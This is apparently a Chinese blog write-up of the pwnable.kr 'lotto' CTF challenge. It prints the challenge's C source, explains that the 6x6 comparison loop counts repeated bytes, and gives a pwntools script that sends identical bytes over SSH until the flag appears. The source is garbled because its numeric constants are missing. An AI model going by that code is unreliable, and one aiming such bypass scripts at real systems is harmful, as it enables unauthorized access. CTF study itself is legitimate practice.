pwnable。好像最近的几道题都不需要看汇编。

ssh lotto@pwnable.kr -p2222 (pw:guest)

直接down下来源码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h> unsigned char submit[]; void play(){ int i;
printf("Submit your 6 lotto bytes : ");
fflush(stdout); int r;
r = read(, submit, ); printf("Lotto Start!\n");
//sleep(1); // generate lotto numbers
int fd = open("/dev/urandom", O_RDONLY);
if(fd==-){
printf("error. tell admin\n");
exit(-);
}
unsigned char lotto[];
if(read(fd, lotto, ) != ){
printf("error2. tell admin\n");
exit(-);
}
for(i=; i<; i++){
lotto[i] = (lotto[i] % ) + ; // 1 ~ 45
}
close(fd); // calculate lotto score
int match = , j = ;
for(i=; i<; i++){
for(j=; j<; j++){
if(lotto[i] == submit[j]){
match++;
}
}
} // win!
if(match == ){
system("/bin/cat flag");
}
else{
printf("bad luck...\n");
} } void help(){
printf("- nLotto Rule -\n");
printf("nlotto is consisted with 6 random natural numbers less than 46\n");
printf("your goal is to match lotto numbers as many as you can\n");
printf("if you win lottery for *1st place*, you will get reward\n");
printf("for more details, follow the link below\n");
printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
printf("mathematical chance to win this game is known to be 1/8145060.\n");
} int main(int argc, char* argv[]){ // menu
unsigned int menu; while(){ printf("- Select Menu -\n");
printf("1. Play Lotto\n");
printf("2. Help\n");
printf("3. Exit\n"); scanf("%d", &menu); switch(menu){
case :
play();
break;
case :
help();
break;
case :
printf("bye\n");
return ;
default:
printf("invalid menu\n");
break;
}
}
return ;
}

看到随机数是从 /dev/urandom中取出的,搜了一下,发现这个是伪随机。

最开始的想法是直接找到第一个爆破一下,发现爆破难度还是挺大的,因为每次运行都是不一样的,这个是系统自行维护的。

找一下源代码吧。

    for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}

这部分乍一看好像没问题,循环6*6次,找到6次一样的就够了。

大致想想好像没啥问题,但是总觉得不对,如果这样输入6个1,当产生的lotto[6]中有一个是1就bypass了。

上脚本验证一下:

from pwn import *
s= ssh(host='pwnable.kr',user='lotto',password='guest',port=2222)
pro = s.process('/home/lotto/lotto')
print pro.recv()
pro.sendline('')
print pro.recv()
str1 = ""
str1 += chr(1)+chr(1)+chr(1)+chr(1)+chr(1)+chr(6)
pro.sendline(str1)
revcstr = pro.recv()
print len(revcstr),revcstr
#exit() while 1:
pro.sendline('')
print pro.recv()
pro.sendline(str1)
a = pro.recv()
if len(a)>71: #71是先验知识,指输入错误返回字符串的长度,就是下面字符串的长度
print a
break
#pass
'''

Lotto Start!
bad luck...
- Select Menu -
1. Play Lotto
2. Help
3. Exit

'''

运行一下:

最新文章

  1. python之路-Day6
  2. 如何得到EF(ADO.NET Entity Framework)查询生成的SQL? ToTraceString Database.Log
  3. C# C/S WPF 远程操作服务器上面的文件
  4. ios 开源代码
  5. zw版【转发&#183;台湾nvp系列Delphi例程】HALCON CheckDifference
  6. AE 栅格处理
  7. 有关开机后win7任务管理器不断重启的问题,我的情况是sendrpt.exe导致的(转载,有补充)
  8. 关于error: cannot connect to daemon的解决办法
  9. httpcontext in asp.net unit test
  10. 【转】.Net中通过反射技术的应用----插件程序的开发入门
  11. haproxy之负载均衡算法
  12. 关于MATLAB中any和all的个人理解
  13. C/C++ kubetu
  14. replace 使用函数作为第二参数
  15. 微信小程序如何发送短信验证码,无需搭建服务器
  16. jQuery效果之封装一个文章图片弹出放大效果
  17. 广州.net俱乐部12月份ABP框架活动场地征集、志愿者征集、合作讲师\副讲师征集
  18. Linux记录-AWK语法(转载)
  19. (3)HTML常用标签 + 快捷字符
  20. 《剑指offer》第十八题(在O(1)时间删除链表结点)

热门文章

  1. 安装本地jar到maven仓库
  2. 虚拟对抗训练(VAT):一种用于监督学习和半监督学习的正则化方法
  3. 不要在PHP7中踩这些坑
  4. 如何对接网建SMS短信通短信验证码接口
  5. Mybatis入门(四)配置优化(一)
  6. Day2-O-Coloring a Tree CodeForces-902B
  7. Linux学习计划(一)
  8. PCHMI工控组态开发视频教程
  9. thinkphp的增删改查命令 - (mysql-thinkphp) (4)
  10. P1066 图像过滤